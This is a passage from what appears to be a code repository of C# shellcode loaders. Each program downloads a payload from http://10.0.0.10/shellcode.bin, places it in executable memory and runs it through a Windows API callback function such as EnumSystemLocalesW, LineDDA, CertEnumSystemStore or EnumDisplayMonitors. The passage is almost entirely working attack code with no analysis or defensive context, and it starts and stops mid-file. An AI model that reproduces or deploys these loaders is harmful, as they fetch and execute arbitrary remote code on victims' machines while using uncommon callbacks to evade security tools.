IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 26 | 27 | [DllImport("user32.dll")] 28 | static extern bool EnumWindows(IntPtr lpEnumFunc, IntPtr lParam); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /EnumPwrSchemes/EnumPwrSchemes/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace EnumPwrSchemes 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | EnumPwrSchemes(addr, IntPtr.Zero); 22 | } 23 | 24 | [DllImport("kernel32.dll", SetLastError = true)] 25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 26 | 27 | [DllImport("powrprof.dll")] 28 | static extern bool EnumPwrSchemes(IntPtr lpfn, IntPtr lParam); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /EnumResourceTypesExW/EnumResourceTypesExW/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | 5 | namespace EnumResourceTypesExW 6 | { 7 | internal class Program 8 | { 9 | static void Main(string[] args) 10 | { 11 | string url = "http://10.0.0.10/shellcode.bin"; 12 | System.Net.WebClient client = new System.Net.WebClient(); 13 | byte[] shellcode = client.DownloadData(url); 14 | 15 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 16 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 17 | 18 | EnumResourceTypesExW(IntPtr.Zero, addr, IntPtr.Zero, 0, 0); 19 | 20 | } 21 | 22 | [DllImport("kernel32.dll", SetLastError = true)] 23 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 24 | 25 | [DllImport("kernel32.dll")] 26 | static extern bool EnumResourceTypesExW(IntPtr hModule, IntPtr lpEnumFrunc, IntPtr lParam, int dwFlags, int LangId); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /EnumPageFilesW/EnumPageFilesW/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace EnumPageFilesW 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | EnumPageFilesW(addr, IntPtr.Zero); 22 | } 23 | 24 | [DllImport("kernel32.dll", SetLastError = true)] 25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 26 | 27 | [DllImport("psapi.dll")] 28 | static extern bool EnumPageFilesW(IntPtr pCallBackRoutine, IntPtr pContext); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /LineDDA/LineDDA/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace LineDDA 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | LineDDA(1, 2, 3, 4, addr, 0); 22 | } 23 | 24 | [DllImport("kernel32.dll", SetLastError = true)] 25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 26 | 27 | [DllImport("gdi32.dll")] 28 | static extern bool LineDDA(int xStart, int yStart, int xEnd, int yEnd, IntPtr lpProc, int data); 29 | 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /EnumSystemLocales/EnumSystemLocales/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace EnumSystemLocales 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | EnumSystemLocalesW(addr, 0); 22 | } 23 | 24 | [DllImport("kernel32.dll", SetLastError = true)] 25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 26 | 27 | [DllImport("kernel32.dll")] 28 | static extern bool EnumSystemLocalesW(IntPtr lpLocaleEnumProc, uint dwFlags); 29 | } 30 | } 31 | 32 | -------------------------------------------------------------------------------- /EnumSystemGeoID/EnumSystemGeoID/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace EnumSystemGeoID 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | EnumSystemGeoID(0x10, 0, addr); 22 | } 23 | 24 | [DllImport("kernel32.dll", SetLastError = true)] 25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 26 | 27 | [DllImport("kernel32.dll")] 28 | static extern bool EnumSystemGeoID(int GeoClass, int ParentGeoId, IntPtr lpFeoEnumProc); 29 | 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /EnumDateFormatsW/EnumDateFormatsW/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace EnumDateFormatsW 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | EnumDateFormatsW(addr, 0xC00, 0); 22 | 23 | } 24 | 25 | [DllImport("kernel32.dll", SetLastError = true)] 26 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 27 | 28 | [DllImport("kernel32.dll")] 29 | static extern bool EnumDateFormatsW(IntPtr lpDateFmtEnumProc, int Locale, int dwFlags); 30 | 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /EnumSystemCodePagesW/EnumSystemCodePagesW/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace EnumSystemCodePagesW 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | EnumSystemCodePagesW(addr, 0); 22 | } 23 | 24 | [DllImport("kernel32.dll", SetLastError = true)] 25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 26 | 27 | [DllImport("kernel32.dll")] 28 | static extern bool EnumSystemCodePagesW(IntPtr lpCodePageEnumProc, uint dwFlags); 29 | 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /EnumSystemGeoNames/EnumSystemGeoNames/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace EnumSystemGeoNames 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | EnumSystemGeoNames(0x10, addr, 0); 22 | 23 | } 24 | 25 | [DllImport("kernel32.dll", SetLastError = true)] 26 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 27 | 28 | [DllImport("kernel32.dll")] 29 | static extern bool EnumSystemGeoNames(int geoClass, IntPtr geoEnumProc, uint data); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /EnumThreadWindows/EnumThreadWindows/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace EnumThreadWindows 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | EnumThreadWindows(0, addr, IntPtr.Zero); 22 | } 23 | 24 | [DllImport("kernel32.dll", SetLastError = true)] 25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 26 | 27 | [DllImport("user32.dll")] 28 | static extern bool EnumThreadWindows(uint dwThreadId, IntPtr lpfn, IntPtr lParam); 29 | } 30 | } 31 | 32 | -------------------------------------------------------------------------------- /EnumDesktopsW/EnumDesktopsW/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace EnumDesktopsW 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | EnumDesktopsW(IntPtr.Zero, addr, 0); 22 | 23 | } 24 | 25 | [DllImport("kernel32.dll", SetLastError = true)] 26 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 27 | 28 | [DllImport("user32.dll", SetLastError = true)] 29 | static extern bool EnumDesktopsW(IntPtr hwinsta, IntPtr lpEnumFunc, uint lParam); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /EnumUILanguagesW/EnumUILanguagesW/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace EnumUILanguagesW 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | EnumUILanguagesW(addr, 0, IntPtr.Zero); 22 | } 23 | 24 | [DllImport("kernel32.dll", SetLastError = true)] 25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 26 | 27 | [DllImport("kernel32.dll")] 28 | static extern bool EnumUILanguagesW(IntPtr lpUILanguageEnumProc, int dwFlags, IntPtr lParam); 29 | } 30 | } 31 | 32 | -------------------------------------------------------------------------------- /CallWindowProcW/CallWindowProcW/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace CallWindowProcW 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | CallWindowProcW(addr, IntPtr.Zero, 0, 0, 0); 22 | } 23 | 24 | [DllImport("kernel32.dll", SetLastError = true)] 25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 26 | 27 | [DllImport("user32.dll")] 28 | static extern UInt32 CallWindowProcW(IntPtr lpPrevWndFunc, IntPtr hWnd, uint Msg, int wParam, int lParam); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /EnumDesktopWindows/EnumDesktopWindows/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace EnumDesktopWindows 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | EnumDesktopWindows(IntPtr.Zero, addr, 0); 22 | 23 | } 24 | 25 | [DllImport("kernel32.dll", SetLastError = true)] 26 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 27 | 28 | [DllImport("user32.dll", SetLastError = true)] 29 | static extern bool EnumDesktopWindows(IntPtr hDesktop, IntPtr lpfn, uint lParam); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /EnumResourceTypesW/EnumResourceTypesW/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace EnumResourceTypesW 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | EnumResourceTypesW(IntPtr.Zero, addr, IntPtr.Zero); 22 | 23 | } 24 | 25 | [DllImport("kernel32.dll", SetLastError = true)] 26 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 27 | 28 | [DllImport("kernel32.dll")] 29 | static extern bool EnumResourceTypesW(IntPtr hModule, IntPtr lpEnumFunc, IntPtr lParam); 30 | } 31 | } 32 | 33 | -------------------------------------------------------------------------------- /EnumChildWindows/EnumChildWindows/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace EnumChildWindows 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | EnumChildWindows(IntPtr.Zero, addr, 0); 22 | 23 | } 24 | 25 | [DllImport("kernel32.dll", SetLastError = true)] 26 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 27 | 28 | [DllImport("user32.dll", SetLastError = true)] 29 | static extern bool EnumChildWindows(IntPtr hWindParent, IntPtr lpEnumFunc, uint lparam); 30 | 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /EnumTimeFormatsEx/EnumTimeFormatsEx/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace EnumTimeFormatsEx 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | EnumTimeFormatsEx(addr, IntPtr.Zero, 0, IntPtr.Zero); 22 | } 23 | 24 | [DllImport("kernel32.dll", SetLastError = true)] 25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 26 | 27 | [DllImport("kernel32.dll")] 28 | static extern bool EnumTimeFormatsEx(IntPtr lpTimeFmtEnumProcEx, IntPtr lpLocaleName, uint dwFlags, IntPtr lParam); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /EnumWindowStationsW/EnumWindowStationsW/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Runtime.Serialization; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace EnumWindowStationsW 10 | { 11 | internal class Program 12 | { 13 | static void Main(string[] args) 14 | { 15 | string url = "http://10.0.0.10/shellcode.bin"; 16 | System.Net.WebClient client = new System.Net.WebClient(); 17 | byte[] shellcode = client.DownloadData(url); 18 | 19 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 20 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 21 | 22 | EnumWindowStationsW(addr, IntPtr.Zero); 23 | } 24 | 25 | [DllImport("kernel32.dll", SetLastError = true)] 26 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 27 | 28 | [DllImport("user32.dll")] 29 | static extern bool EnumWindowStationsW(IntPtr lpEnumFunc, IntPtr lParam); 30 | 31 | } 32 | } 33 | 34 | -------------------------------------------------------------------------------- /EnumSystemLanguageGroupsW/EnumSystemLanguageGroupsW/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace EnumSystemLanguageGroupsW 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | EnumSystemLanguageGroupsW(addr, 0, IntPtr.Zero); 22 | } 23 | 24 | [DllImport("kernel32.dll", SetLastError = true)] 25 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 26 | 27 | [DllImport("kernel32.dll")] 28 | static extern bool EnumSystemLanguageGroupsW(IntPtr lpLanguageGroupEnumProc, uint dwFlags, IntPtr lParam); 29 | } 30 | } 31 | 32 | -------------------------------------------------------------------------------- /EnumCalenderInfoEx/EnumCalenderInfoEx/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace EnumCalenderInfoEx 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | EnumCalendarInfoEx(addr, 0x400, 0xFFFFFFFF, 0x00000015); 22 | 23 | } 24 | 25 | [DllImport("kernel32.dll", SetLastError = true)] 26 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 27 | 28 | [DllImport("kernel32.dll", SetLastError = true)] 29 | static extern bool EnumCalendarInfoEx(IntPtr lpCalInfoEnumProc, int Locale, uint Calendar, int CalType); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /CertEnumSystemStore/CertEnumSystemStore/CertEnumSystemStoreRunner.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | class CertEnumSystemStoreRunner 5 | { 6 | 7 | static void Main() 8 | { 9 | string url = "http://10.0.0.10/shellcode.bin"; 10 | System.Net.WebClient client = new System.Net.WebClient(); 11 | byte[] shellcode = client.DownloadData(url); 12 | 13 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 14 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 15 | 16 | CertEnumSystemStore(CertSystemStoreFlags.CurrentUser, IntPtr.Zero, IntPtr.Zero, addr); 17 | } 18 | 19 | [DllImport("kernel32.dll", SetLastError = true)] 20 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, int flAllocationType, int flProtect); 21 | 22 | [DllImport("Crypt32.dll", EntryPoint = "CertEnumSystemStore", CharSet = CharSet.Unicode, SetLastError = true)] 23 | static extern bool CertEnumSystemStore(CertSystemStoreFlags dwFlags, IntPtr pvSystemStoreLocationPara, IntPtr pvReserved, IntPtr pfnEnum); 24 | 25 | enum CertSystemStoreFlags : uint 26 | { 27 | CurrentUser = 0x00010000 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /EnumLanguageGroupLocalesW/EnumLanguageGroupLocalesW/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace EnumLanguageGroupLocalesW 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | EnumLanguageGroupLocalesW(addr, 0x5, 0, IntPtr.Zero); 22 | 23 | } 24 | 25 | [DllImport("kernel32.dll", SetLastError = true)] 26 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 27 | 28 | [DllImport("kernel32.dll")] 29 | static extern bool EnumLanguageGroupLocalesW(IntPtr lpLangGroupLocaleEnumProc, int LanguageGroup, int dwFlags, IntPtr lParam); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /EnumDisplayMonitors/EnumDisplayMonitors/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Net.NetworkInformation; 5 | using System.Runtime.InteropServices; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace EnumDisplayMonitors 10 | { 11 | internal class Program 12 | { 13 | static void Main(string[] args) 14 | { 15 | string url = "http://10.0.0.10/shellcode.bin"; 16 | System.Net.WebClient client = new System.Net.WebClient(); 17 | byte[] shellcode = client.DownloadData(url); 18 | 19 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 20 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 21 | 22 | EnumDisplayMonitors(IntPtr.Zero, IntPtr.Zero, addr, IntPtr.Zero); 23 | 24 | } 25 | 26 | [DllImport("kernel32.dll", SetLastError = true)] 27 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 28 | 29 | [DllImport("user32.dll")] 30 | static extern bool EnumDisplayMonitors(IntPtr hdc, IntPtr lprcClip, IntPtr lpfnEnum, IntPtr dwData); 31 | 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /CertSystemStoreLocation/CertSystemStoreLocation/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace CertEnumSystemStoreLocation 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | CertEnumSystemStoreLocation(IntPtr.Zero, IntPtr.Zero, addr); 22 | 23 | 24 | } 25 | 26 | [DllImport("kernel32.dll", SetLastError = true)] 27 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, int flAllocationType, int flProtect); 28 | 29 | [DllImport("Crypt32.dll", EntryPoint = "CertEnumSystemStoreLocation", CharSet = CharSet.Unicode, SetLastError = true)] 30 | static extern bool CertEnumSystemStoreLocation(IntPtr pwszStoreLocation, IntPtr Reserved, IntPtr pfnEnum); 31 | } 32 | } 33 | 34 | -------------------------------------------------------------------------------- /EnumDirTree/EnumDirTree/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.Linq; 5 | using System.Runtime.InteropServices; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace EnumDirTree 10 | { 11 | internal class Program 12 | { 13 | static void Main(string[] args) 14 | { 15 | string url = "http://10.0.0.10/shellcode.bin"; 16 | System.Net.WebClient client = new System.Net.WebClient(); 17 | byte[] shellcode = client.DownloadData(url); 18 | 19 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 20 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 21 | 22 | EnumDirTreeW(Process.GetCurrentProcess().Handle, "C:\\Windows", "*.log", IntPtr.Zero, addr, IntPtr.Zero); 23 | 24 | } 25 | 26 | [DllImport("kernel32.dll", SetLastError = true)] 27 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 28 | 29 | [DllImport("Dbghelp.dll", CharSet = CharSet.Unicode)] 30 | static extern bool EnumDirTreeW(IntPtr hProcess, string RootPath, string FileName, IntPtr OutputPathBuffer, IntPtr CallbackPtr, IntPtr data); 31 | 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /EnumFontsW/EnumFontsW/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace 